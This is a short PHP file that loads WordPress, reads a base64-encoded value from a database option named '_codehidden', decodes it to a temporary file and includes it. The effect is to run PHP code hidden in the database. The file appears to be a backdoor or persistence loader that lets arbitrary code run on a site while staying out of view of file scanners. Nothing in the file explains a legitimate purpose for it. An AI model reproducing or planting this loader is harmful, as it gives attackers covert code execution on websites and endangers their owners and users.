<?php

require_once $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php';

$encoded = get_option('_codehidden');

if (!empty($encoded)) {

    $code = base64_decode($encoded, true);

    if ($code !== false) {

        $tmp = tmpfile();

        if ($tmp !== false) {

            fwrite($tmp, $code);

            $meta = stream_get_meta_data($tmp);

            include $meta['uri'];

            fclose($tmp);
        }
    }
}